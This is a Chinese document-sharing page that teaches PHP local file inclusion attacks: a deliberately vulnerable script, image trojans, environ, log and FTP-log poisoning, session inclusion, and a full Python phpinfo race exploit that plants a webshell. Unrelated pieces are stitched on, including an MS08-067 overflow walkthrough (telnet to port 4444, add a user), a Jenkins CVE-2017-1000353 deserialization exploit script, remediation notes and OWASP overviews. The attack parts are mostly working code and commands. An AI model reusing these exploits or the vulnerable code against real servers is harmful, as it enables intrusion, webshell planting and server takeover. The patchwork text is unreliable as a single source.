搜档网
当前位置:搜档网 › 利用本地包含漏洞执行任意代码

利用本地包含漏洞执行任意代码

利用本地包含漏洞执行任意代码
利用本地包含漏洞执行任意代码

1 概述

文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php 执行,从而导致用户可获取一定的服务器权限。

2 利用LFI执行PHP代码

2.1本地包含漏洞实例展示:

演示脚本文件test.php代码如下:

if( !ini_get('display_errors') ) {

ini_set('display_errors', 'On');

}

error_reporting(E_ALL);

$f = $_GET["file"];

if ($f){

require "".$f.".php";

}else{

print("No File Included");

}

?>

在正常使用过程中,可能是这样子:https://www.sodocs.net/doc/de12513306.html,/test.php?f=fuction,这样子就包含了function这个文件,但是由于file参数没有过滤,我们可以自己提交参数内容,这个时候就导致了包含漏洞的出现。比如提交:

https://www.sodocs.net/doc/de12513306.html,/index.php?f=shell.txt%00,shell.txt的内容为我们的webshell,由于前面的是index.php,所以会把shell.txt当成是木马执行。

在虚拟机搭建实例环境,

直接访问,不赋值file参数:

图1.不提交任何参数时的test.php

赋值file参数为/etc/passwd

图2.包含/etc/passwd文件

成功包含。

2.2自己上传文件并实现包含

这里主要是结合服务器一些文件上传点,比如头像上传、相册照片上传等,而后结合php 的%00截断特性成功利用包含漏洞(php5.4之后已修复截断特性,本例中不再结合%00,其他请自己测试)。

假设我们可以自定义上传头像,头像文件在网站根目录的photo下,具体目录可以传上去之后查看图片Url信息。

首先,我们只做包含恶意代码的图片文件:

在windows下利用copy命令,shell.php为一句话木马(这里为了方便演示,我们用phpinfo();代替),photo.jpg问正常头像文件。在命令行下执行:copy photo.jpg /b + shell.php /b eval.jpg

图3.Windows下copy命令制作图片木马

此时eval.jpg和phpoto.jpg都可以正常打开

这种方法对于验证严格的上传点有用,其实很多时候我们可以简单的改一下后缀名,在php 代码前加一个GIF89a就可绕过大多数检测。

将eval.jpg上传,并包含,效果如下图:

图4.包含图片木马效果

此时成功利用本地包含漏洞执行php代码。

2.3包含环境变量文件

Linux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。内容如下图:

图5.BT5下/proc/self/environ文件内容

但是用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用。

首先,验证访问权限,看是否有权限读取该文件内容

图6.包含/proc/self/environ文件

在BT的server下是默认拒绝访问的。权限如下:

图7.Environ文件的权限设置

为了方便演示,用一个有权限访问environ文件的环境。

正常包含如图:

图8.有权限读取envrion文件时效果

我们可以看到,当前的USER_AGENT变量被写进了这个文件,而USER_AGENT是可以伪造的,这里我利用firefox的UAControl进行伪造,首先编辑UAControl对于这个文章的user

agent信息:

图9.修改User-agent信息

而后随便访问该网站上一个网页,再次包含environ文件:

图10.成功执行php代码

可以发现php代码已经执行。

2.4包含web server日志文件

Apache的日志文件在LFI漏洞的利用中是非常常见的。因为不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。

首先:查看是否有权限进行包含

图11.默认access文件拒绝访问

同样默认拒绝。

图12.日志文件默认权限

下面找一个有权限的实战环境进行测试

可以包含httpd.conf查看日志文件位置以及文件名格式配置,这里就直接找到一个log进行利用(php_error.log),该文件会记录php在执行中出现的错误,

图13.php_error文件内容

所以我们直接访问test.php?file=../.php,将会被记录下来。这样便成功将php代码写进log文件。

直接访问:

图14.get请求中插入php代码

返回空白,这是由于webserver未开启报错。

包含后如图:

图15.成功包含error日志文件

成功执行php代码

在实际利用中,需要注意一下几个问题:

1) Access.log和error.log过大,这时候有可能会导致超时。所以如果能包含其他文件那就包含其他文件。

2) 写入的代码被转义。比如我们提交test.php?file=../.php 时,在也转义了的。在实际测试中,用火狐、IE8都会转义,但是IE6不会转义。对于所有以上情况,可以使用ie6进行利用,也可以使用NC进行直接提交GET请求。同时如果web server的short_tag开启的话,就不用担心空格被转义。

2.5包含其他日志文件

文件包含漏洞的实质是包含我们可以控制文件内容的文件,所以其他日志文件如果我们可控的话也是可以进行包含利用的。这里以FTP的日志文件为例进行演示。

实际利用过程中要先得到目标系统的linux发行版本号、FTP server的版本号,而后找默认日志目录。

第一步同样是测试权限,看是否有权限读取文件:

图16.FTP日志文件内容

如图,是可以包含的。

下面本地登录,但是用户名填:

图17.在登陆窗口插入php代码

成功包含后效果如下图:

图18.成功包含FTP日志文件

可以发现已经成功执行了php代码

2.6结合phpinfo包含临时文件

php 有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。

下面是一个python版的利用代码:

#!/usr/bin/env python

# encoding=utf-8

# Author : idwar

# https://www.sodocs.net/doc/de12513306.html,

'''

可能需要你改的几个地方:

1、host

2、port

3、request中的phpinfo页面名字及路径

4、hello_lfi() 函数中的url,即存在lfi的页面和参数

5、如果不成功或报错,尝试增加padding长度到7000、8000试试

6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改

Good Luck :)

'''

import re

import urllib2

import hashlib

from socket import *

from time import sleep

host = '192.168.92.132'

#host = gethostbyname(domain)

port = 80

shell_name = hashlib.md5(host).hexdigest() + '.php'

pattern = https://www.sodocs.net/doc/de12513306.html,pile(r'''

tmp n ame

\s=>\s(.*)\W*error]''')

payload = '''idwar")?>\r'''

req = '''-----------------------------7dbff1ded0714\r

Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r

Content-Type: text/plain\r

\r

%s

-----------------------------7dbff1ded0714--\r''' % payload

padding='A' * 8000

request='''POST /test/1.php?a='''+padding+''' HTTP/1.0\r

Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r HTTP_ACCEPT: ''' + padding + '''\r

HTTP_USER_AGENT: ''' + padding + '''\r

HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r

HTTP_PRAGMA: ''' + padding + '''\r

Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r

Content-Length: %s\r

Host: %s\r

\r

%s''' % (len(req), host, req)

def hello_lfi():

while 1:

s = socket(AF_INET, SOCK_STREAM)

s.connect((host, port))

s.send(request)

data = ''

while r'' not in data:

data = s.recv(9999)

search_ = re.search(pattern, data)

if search_:

tmp_file_name = search_.group(1)

url = r'http://192.168.92.132/test/2.php?s=%s%%00' % tmp_file_name

print url

search_request = urllib2.Request(url)

search_response = urllib2.urlopen(search_request)

html_data = search_response.read()

if 'idwar' in html_data:

s.close()

return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)

#import sys;sys.exit()

s.close()

if __name__ == '__main__':

print hello_lfi()

print '\n Good Luck :)'

利用效果如下图:

图19. 利用工具中的php临时文件

图20. 服务器上确实生成了该文件

可以看到,成功获取到临时文件的文件名以及将恶意代码注入到服务器的tmp的临时目录下。

2.7包含session文件

Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。

首先,查看找到session文件并包含一次:文件名可以通过firefox的fire cookie插件查

看当前session值。

实际应用过程中需要注意以下几点:

1) 网站可能没有生成临时session,以cookie方式保存用户信息,或者根本就完全没有。

2) Session 文件内容的控制,这个时候我们就需要先通过包含查看当前session 的内容,看session值中有没有我们可控的某个变量,比如url中的变量值。或者当前用户名username。如果有的话,我们就可以通过修改可控变量值控制恶意代码写入session 文件。如果没有的话,可以考虑让服务器报错,有时候服务器会把报错信息写入用户的session文件的。我们控制使服务器报错的语句即可将恶意代码写入session。

3 小结

从开发者的角度来说,任何用户可以控制的变量都要进行严格的检查和过滤。只要有用户可输入的地方就有可能存在漏洞。而从攻击者的角度来说,在对LFI的利用中,始终需要注意的是服务器上只要是我们可以写入数据的都可以拿来包含。

常见漏洞整改建议

网站漏洞危害及整改建议 1. 网站木马 1.1 危害 利用IE浏览器漏洞,让IE在后台自动下载黑客放置在网站上的木马并运行(安装)这个木马,即这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始,从而实现控制访问者电脑或安装恶意软件的目的。 1.2 利用方式 表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。可被木马植入的网页也意味着能被篡改页面内容。 1.3 整改建议 1) 加强网站程序安全检测,及时修补网站漏洞; 2) 对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 3) 建议重新安装服务器及程序源码,防止有深度隐藏的恶意程序无法检测到,导致重新安装系统后攻击者仍可利用后门进入; 4) 如有条件,建议部署网站防篡改设备。 2 . 网站暗链

2.1 危害 网站被恶意攻击者插入大量暗链,将会被搜索引擎惩罚,降低权重值;被插入大量恶意链接将会对网站访问者造成不良影响;将会协助恶意网站(可能为钓鱼网站、反动网站、赌博网站等)提高搜索引擎网站排名。可被插入暗链的网页也意味着能被篡改页面内容。 2.2 利用方式 “暗链”就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,可能访问者并不能一眼就能识别出被挂的隐藏链接。它和友情链接有相似之处,可以有效地提高PR 值,所以往往被恶意攻击者利用。 2.3 整改建议 1) 加强网站程序安全检测,及时修补网站漏洞; 2) 对网站代码进行一次全面检测,查看是否有其余恶意程序存在; 3) 建议重新安装服务器及程序源码,防止无法到检测深度隐藏的恶意程序,导致重新安装系统后攻击者仍可利用后门进入; 4) 如有条件,建议部署网站防篡改设备。 3 . 页面篡改 3.1 危害 政府门户网站一旦被篡改将造成多种严重的后果,主要表现在以下一些方面: 1) 政府形象受损;

信息安全常见漏洞类型汇总汇总

一、注入漏洞 注入攻击(),简称注入攻击、注入,被广泛用于非法获取网站控制权,是发生在应用程序地数据库层上地安全漏洞.在设计程序,忽略了对输入字符串中夹带地指令地检查,被数据库误认为是正常地指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害. 通常情况下,注入地位置包括: ()表单提交,主要是请求,也包括请求; ()参数提交,主要为请求参数; ()参数提交; ()请求头部地一些可修改地值,比如、等; ()一些边缘地输入点,比如文件地一些文件信息等.

注入地危害不仅体现在数据库层面上,还有可能危及承载数据库地操作系统;如果注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于: ()数据库信息泄漏:数据库中存放地用户地隐私信息地泄露.作为数据地存储中心,数据库里往往保存着各类地隐私信息,注入攻击能导致这些隐私信息透明于攻击者. ()网页篡改:通过操作数据库对特定网页进行篡改. ()网站被挂马,传播恶意软件:修改数据库一些字段地值,嵌入网马链接,进行挂马攻击. ()数据库被恶意操作:数据库服务器被攻击,数据库地系统管理员帐户被篡改. ()服务器被远程控制,被安装后门.经由数据库服务器提供地操作系统支持,让黑客得以修改或控制操作系统.

()破坏硬盘数据,瘫痪全系统. 解决注入问题地关键是对所有可能来自用户输入地数据进行严格地检查、对数据库配置使用最小权限原则. 通常使用地方案有: ()所有地查询语句都使用数据库提供地参数化查询接口,参数化地语句使用参数而不是将用户输入变量嵌入到语句中.当前几乎所有地数据库系统都提供了参数化语句执行接口,使用此接口可以非常有效地防止注入攻击. ()对进入数据库地特殊字符('"\<>*;等)进行转义处理,或编码转换. ()确认每种数据地类型,比如数字型地数据就必须是数字,数据库中地存储字段必须对应为型. ()数据长度应该严格规定,能在一定程度上防止比较长地注入语句无法正确执行. ()网站每个数据层地编码统一,建议全部使用编码,上下层编码不一致有可能导致一些过滤模型被绕过.

常见漏洞类型汇总

一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 通常情况下,SQL注入的位置包括: (1)表单提交,主要是POST请求,也包括GET请求; (2)URL参数提交,主要为GET请求参数; (3)Cookie参数提交; (4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等; (5)一些边缘的输入点,比如.mp3文件的一些文件信息等。

SQL注入的危害不仅体现在数据库层面上,还有可能危及承载数据库的操作系统;如果SQL注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于: (1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息,SQL注入攻击能导致这些隐私信息透明于攻击者。 (2)网页篡改:通过操作数据库对特定网页进行篡改。 (3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。 (4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。 (5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 (6)破坏硬盘数据,瘫痪全系统。

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有: (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。 (2)对进入数据库的特殊字符('"\<>&*;等)进行转义处理,或编码转换。 (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。 (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。 (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。 (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

网站常见三种漏洞攻击及防范方法

国内外黑客组织或者个人为牟取利益窃取和篡改网络信息,已成为不争的事实,在不断给单位和个人造成经济损失的同时,我们也应该注意到这些威胁大多是基于Web网站发起的攻击,在给我们造成不可挽回的损失前,我们有必要给大家介绍几种常见的网站漏洞,以及这些漏洞的防范方法,目的是帮助广大网站管理者理清安全防范思绪,找到当前的防范重点,最大程度地避免或减少威胁带来的损失。 1、SQL语句漏洞 也就是SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。 有效防范手段:对于SQL注入问题的一般处理方法是账户最小权限原则。以下几种方法推荐使用: 对用户输入信息进行必要检查 对一些特殊字符进行转换或者过滤 使用强数据类型 限制用户输入的长度 需要注意:这些检查要放在server运行,client提交的任何东西都是不可信的。使用存储过程,如果一定要使用SQL语句,那么请用标准的方式组建SQL 语句。比如可以利用parameters对象,避免用字符串直接拼SQL命令。当SQL 运行出错时,不要把数据库返回的错误信息全部显示给用户,错误信息经常会透露一些数据库设计的细节。 2、网站挂马 挂马就是在别人电脑里面(或是网站服务器)里植入木马程序,以盗取一些信息或者控制被挂马的电脑做一些不法的勾当(如攻击网站,传播病毒,删除资料等)。网页挂马就是在网页的源代码中加入一些代码,利用漏洞实现自动下载木马到机器里。网站挂马的形式可分为框架挂马、数据库挂马、后台挂马、服务器挂马以及其他形式的挂马方式。 有效防范手段:要防止网站被挂马,可以采取禁止写入和目录禁止执行的功能,这两项功能相组合,就可以有效地防止 ASP木马。此外,网站管理员通过FTP上传某些数据,维护网页时,尽量不安装asp的上传程序。这对于常被ASP 木马影响的网站来说,会有一些帮助。当然是用专业的查杀木马工具也是不错的防护措施。

黑客MS08-067漏洞攻击全程演示(图解)

黑客MS08-067漏洞攻击全程演示(图解) MS08-067漏洞是Server 服务中的漏洞,该漏洞可能允许远程代码执行。下面我们来进行MS08-067漏洞远程溢出演示,让我们看看我们的机子是如何轻易的成为人家的肉鸡,被控制的 1.漏洞主机扫描。 使用专业端口扫描工具扫描445端口。获取可溢出的主机列表。 如下图: 2.MS08-067溢出工具进行主机溢出, 格式ms08-067.exe ip 溢出成功标志: SMB Connect OK! Send Payload Over!

3.溢出成功后会开放4444端口,直接telnet登陆上去。 4.Ipconfig确认溢出成功。

5.添加用户确认获取系统权限

6.防范办法: 针对该溢出,我们并不是没有办法,既然是要扫描445端口,然后telnet,我们只需如下的方法就可以解决: 一、及时安装KB958644补丁 二、关闭或屏蔽掉445端口。 三、安装专业防火墙。 《MS08-067》溢出:扫445端口, 溢出 Q:提示 SMB Connect OK! RpcExceptionCode() = 1722 这样溢出成功了么? A:溢出失败,对方开启了防火墙。 Q:提示 Make SMB Connection error:1203 是怎么回事?

A:对方没有开机联网或者没有安装Microsoft 网络的文件和打印机共享协议或没有启动Server服务。 Q:提示 SMB Connect OK! Maybe Patched! 补丁已经打上了。不存在漏洞。 SMB Connect OK Maybe Patched! 这个说明对方已经打了补丁 SMB Connect OK! Send Payload Over! 溢出成功 ---------------------------------------------------- 在cmd下直接运行MS08-067.exe 出现命令帮助 MS08-067.exe 很简单,只需要输入MS08-067.exe IP 就可以了。 MS08-067 Exploit for CN by [ft=#ff0000,, 目标机为虚拟机(IP 192.168.1.2),攻击者为本机(IP 192.168.1.188) 虚拟机端口开放如下: 输入命令: MS08-067.exe 192.168.1.2 提示: SMB Connect OK! Send Payload Over! 再次查看虚拟机的端口: 我们看到当我们运行了MS08-067.exe 192.168.1.2 之后,虚拟机的端口出现了个4444 端口,状态为LISTENING ,这时就说明已经溢出成功了,接下来我们在本机运行 Telnet 192.168.1.2 4444 就可以了Telnet登陆到目标机了。

Jenkins远程代码执行漏洞配合dnslog检测漏洞—【CVE-2017-1000353】

Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限。 曝光地址:https://https://www.sodocs.net/doc/de12513306.html,/index.php/archives/3171 影响的范围: 影响低于 2.56 的所有 Jenkins 主线版本 影响低于 2.46.1 的所有 Jenkins LTS 版本 实际操作: 1. 利用老外文章的代码,导出成payload.jar包,用来生成攻击用的payload文件。可以自定义需要执行的命令: Jar下载地址: https://https://www.sodocs.net/doc/de12513306.html,/nobleXu/jenkins/zip/master java -jar payload.jar jenkins_poc1.ser “/usr/bin/touch /tmp/jenkinsTestNxadmin” 然后利用老外提供的python脚本向jenkins服务器提交post请求,就可以成功在被攻击服务器/tmp目录下生成文件。也可以使用dnslog之类的来测试,如图: 2、修改jenkins_poc1.py中第13行的URL参数,改为你要攻击的靶机 jenkins_poc1.py 下载链接: https://https://www.sodocs.net/doc/de12513306.html,/s/1misPilU密码: 6qqh 具体代码如下 import urllib import requests import uuid import threading import time import gzip import urllib3 import zlib proxies = { # 'http': 'http://127.0.0.1:8090', # 'https': 'http://127.0.0.1:8090', } URL='http://192.168.0.1/cli' PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' PROTO = '\x00\x00\x00\x00' FILE_SER = open("jenkins_poc1.ser", "rb").read() def download(url, session): headers = {'Side' : 'download'} headers['Content-type'] = 'application/x-www-form-urlencoded' headers['Session'] = session headers['Transfer-Encoding'] = 'chunked' r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True) print r.text def upload(url, session, data): headers = {'Side' : 'upload'} headers['Session'] = session headers['Content-type'] = 'application/octet-stream' headers['Accept-Encoding'] = None r = requests.post(url,data=data,headers=headers,proxies=proxies) def upload_chunked(url,session, data): headers = {'Side' : 'upload'} headers['Session'] = session headers['Content-type'] = 'application/octet-stream' headers['Accept-Encoding']= None headers['Transfer-Encoding'] = 'chunked' headers['Cache-Control'] = 'no-cache' r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies) def null_payload(): yield " " def create_payload(): payload = PREAMLE + PROTO + FILE_SER return payload def create_payload_chunked(): yield PREAMLE yield PROTO yield FILE_SER def main(): print "start" session = str(uuid.uuid4()) t = threading.Thread(target=download, args=(URL, session)) t.start() time.sleep(1)

web漏洞攻击

Web应用是指采用B/S架构、通过HTTP/HTTPS协议提供服务的统称。随着互联网的广泛使用,Web应用已经融入到日常生活中的各个方面:网上购物、网络银行应用、证券股票交易、政府行政审批等等。在这些Web访问中,大多数应用不是静态的网页浏览,而是涉及到服务器侧的动态处理。此时,如果Java、PHP、ASP等程序语言的编程人员的安全意识不足,对程序参数输入等检查不严格等,会导致Web应用安全问题层出不穷。 本文根据当前Web应用的安全情况,列举了Web应用程序常见的攻击原理及危害,并给出如何避免遭受Web 攻击的建议。 1Web应用漏洞原理 Web应用攻击是攻击者通过浏览器或攻击工具,在URL或者其它输入区域(如表单等),向Web服务器发送特殊请求,从中发现Web应用程序存在的漏洞,从而进一步操纵和控制网站,查看、修改未授权的信息。 1.1Web应用的漏洞分类 1、信息泄露漏洞 信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求,泄露Web服务器的一些敏感信息,如用户名、密码、源代码、服务器信息、配置信息等。 造成信息泄露主要有以下三种原因: ?Web服务器配置存在问题,导致一些系统文件或者配置文件暴露在互联网中; ?Web服务器本身存在漏洞,在浏览器中输入一些特殊的字符,可以访问未授权的文件或者动态脚本文件源码; ?Web网站的程序编写存在问题,对用户提交请求没有进行适当的过滤,直接使用用户提交上来的数据。 2、目录遍历漏洞 目录遍历漏洞是攻击者向Web服务器发送请求,通过在URL中或在有特殊意义的目录中附加“../”、或者附加“../”的一些变形(如“..\”或“..//”甚至其编码),导致攻击者能够访问未授权的目录,以及在Web服务器的根目录以外执行命令。 3、命令执行漏洞 命令执行漏洞是通过URL发起请求,在Web服务器端执行未授权的命令,获取系统信息,篡改系统配置,控制整个系统,使系统瘫痪等。 命令执行漏洞主要有两种情况:

常见漏洞及其解决方法

常见漏洞及其解决方案 1、SQL注入漏洞 漏洞描述: SQL注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。通常在设计存在缺陷的程序中,对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。 SQL注入的攻击方式多种多样,较常见的一种方式是提前终止原SQL语句,然后追加一个新的SQL命令。为了使整个构造的字符串符合SQL语句语法,攻击者常用注释标记如“-- ”(注意空格)来终止后面的SQL字符串。执行时,此后的文本将被忽略。如某个网站的登录验证SQL查询代码为strSQL = "SELECT * FROM users WHERE name = ‘”+ userName + “’and pw =’”+ passWord +”’”,其中userName 和passWord是用户输入的参数值,用户可以输入任何的字符串。如果用户输入的userName=admin’-- ,passWord为空,则整个SQL语句变为SELECT * FROM users WHERE name=’admin’-- ‘and pw=’’,等价于SELECT * FROM users WHERE name=’admin’,将绕过对密码的验证,直接获得以admin的身份登录系统。 漏洞危害: ?数据库信息泄漏,例如个人机密数据,帐户数据,密码等。 ?删除硬盘数据,破坏整个系统的运行。 ?数据库服务器被攻击,系统管理员帐户被窜改(例如ALTER LOGIN sa WITH PASSWORD='xxxxxx')。 ?取得系统较高权限后,可以篡改网页以及进行网站挂马。 ?经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统,植入后门程序(例如xp_cmdshell "net stop iisadmin"可停止服务器的IIS服务)。 解决方案: ?输入过滤,对于整数,判断变量是否符合[0-9]的值;其他限定值,也可以进行合法性校验;对于字符串,对SQL语句特殊字符进行转义(单引号转成两个单引号,双引号转成两个双引号)。MySQL也有类似的转义函数mysql_escape_string和mysql_real_ escape_string。Asp的过滤参考此页面https://www.sodocs.net/doc/de12513306.html,/nazim/archive/ 2008/04 /28/ filtering-sql-injection-from-classic-asp.aspx ?在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。 ?使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如https://www.sodocs.net/doc/de12513306.html,的SqlDataSource对象或是LINQ to SQL,安全API库如ESAPI。?使用SQL防注入系统。 ?严格限制数据库操作的权限。普通用户与系统管理员用户的权限要有严格的区分。建立专门的账户,同时加以权限限制,满足应用的需求即可。 2、HTTPHOST头部攻击 漏洞描述:一般通用web程序是如果想知道网站域名不是一件简单的事情,如果用

信息安全漏洞月报(2018年9月)

信息安全漏洞通报 2018年9月国家信息安全漏洞库(CNNVD) 本期导读 漏洞态势 根据国家信息安全漏洞库(CNNVD)统计,2018年9月份采集安全漏洞共1324个。 本月接报漏洞共计2314个,其中信息技术产品漏洞(通用型漏洞)129个,网络信息系统漏洞(事件型漏洞)2185个。 重大漏洞预警 1、微软官方发布了多个安全漏洞的公告,包括Internet Explorer 内存损坏漏洞(CNNVD-201809-509、CVE-2018-8447)、Microsoft Excel 远程代码执行漏洞(CNNVD-201809-550、CVE-2018-8331)等多个漏洞。成功利用上述安全漏洞的攻击者,可以在目标系统上执行任意代码。微软多个产品和系统受漏洞影响。目前,微软官方已经发布补丁修复了上述漏洞,建议用户及时确认是否受到漏洞影响,尽快采取修补措施。

漏洞态势 一、公开漏洞情况 根据国家信息安全漏洞库(CNNVD )统计,2018年9月份新增安全漏洞共1324个,从厂商分布来看,Google 公司产品的漏洞数量最多,共发布110个;从漏洞类型来看,跨站脚本类的漏洞占比最大,达到13.14%。本月新增漏洞中,超危漏洞24个、高危漏洞89个、中危漏洞873个、低危漏洞338个,相应修复率分别为62.50%、92.13%、70.33%以及56.80%。合计903个漏洞已有修复补丁发布,本月整体修复率68.20%。 截至2018年9月30日,CNNVD 采集漏洞总量已达115764个。 1.1 漏洞增长概况 2018年9月新增安全漏洞1324个,与上月(962个)相比增加了37.63%。根据近6个月来漏洞新增数量统计图,平均每月漏洞数量达到1374个。 图1 2018年4月至2018年9月漏洞新增数量统计图 1496 951 1505 2004 962 1324 250 45065085010501250145016501850205022502018年4月 2018年5月 2018年6月 2018年7月 2018年8月 2018年9月

OWASP前十大漏洞

OWASP前十大漏洞 十大漏洞原因危害攻击方法 1 跨站脚本 (XSS,Cross Site Scripting) CGI程序没有对用 户提交的变量中的 HTML代码进行过 滤或转换;对提交的 数据没有经过适当 的验证或转译 黑客可以利用浏览器 中的恶意脚本获得用 户的数据,破坏网站, 插入有害内容,以及展 开钓鱼式攻击和恶意 攻击。 攻击者注入非法的标 签与脚本最终都要在 客户端执行,攻击的过 程实际上都在客户端 的浏览器上发生的。 能在客户端进行跨站 的不仅仅是HTML标签 与JavaScript脚本, 还包含一些其它的客 户端应用,比如Flash 里的ActionScript脚 本也能辅助发起XSS 攻击 2 注入漏洞(Injection Flaw) 字符过滤不严紧所 造成的 攻击者可利用注入漏 洞诱使Web应用执行 未预见的命令或数据 库查询,从而对数据库 信息进行窃取、篡改、 删除等 攻击者把一些包含指 令的数据发送给解释 器,解释器会把收到的 数据转换成指令执行。 3 恶意脚本执行 (Malicious File Excution) Web应用程序引入 来自外部的恶意文 件并执行文件内容 攻击者可利用恶意文 件执行漏洞进行攻击 取得Web服务器控制 权,进行不法利益或获 取经济利益 攻击者在具有引入功 能程序的参数中修改 参数内容,Web服务器 便会引入恶意程序内 容从而受到恶意文件 执行漏洞攻击 4 不安全的直接对象 参照物(Insecure Direct Object Reference) 当网站地址或者其 他参数包含了文件、 目录、数据库记录或 者关键字等参照物 对象时就可能发生 这种攻击 可能在网络接口中暴 露出用户的账号或是 重要文件 攻击者可以通过猜想 或者搜索另一个有效 关键字的方式攻击这 些参数 5 跨站指令伪造 (CSRF,Cross-Site Request Forgery) 它们是根据会话 cookie或者“自动记 忆”功能来授权指令 的 攻击者能让受害用户 修改的任何数据,或者 是执行允许使用的任 何功能 已登入Web应用程序 的合法使用者执行到 恶意的HTTP指令,但 Web应用程序却当成 合法需求处理,使得恶 意指令被正常执行

十大常见漏洞

Web应用常见的安全漏洞有哪些 随着存在安全隐患的Web应用程序数量的骤增,Open Web Application Security Project (开放式Web应用程序安全项目,缩写为OWASP)总结出了现有Web应用程序在安全方面常见的十大漏洞,以提醒企业及其程序开发人员尽量避免它们给企业IT系统带来的安全风险: 一、非法输入 Unvalidated Input 在数据被输入程序前忽略对数据合法性的检验是一个常见的编程漏洞。随着OWASP对Web应用程序脆弱性的调查,非法输入的问题已成为大多数Web应用程序安全漏洞方面的一个普遍现象。 二、失效的访问控制 Broken Access Control 大部分企业都非常关注对已经建立的连接进行控制,但是,允许一个特定的字符串输入可以让攻击行为绕过企业的控制。 三、失效的账户和线程管理 Broken Authentication and Session Management 有良好的访问控制并不意味着万事大吉,企业还应该保护用户的密码、会话令牌、

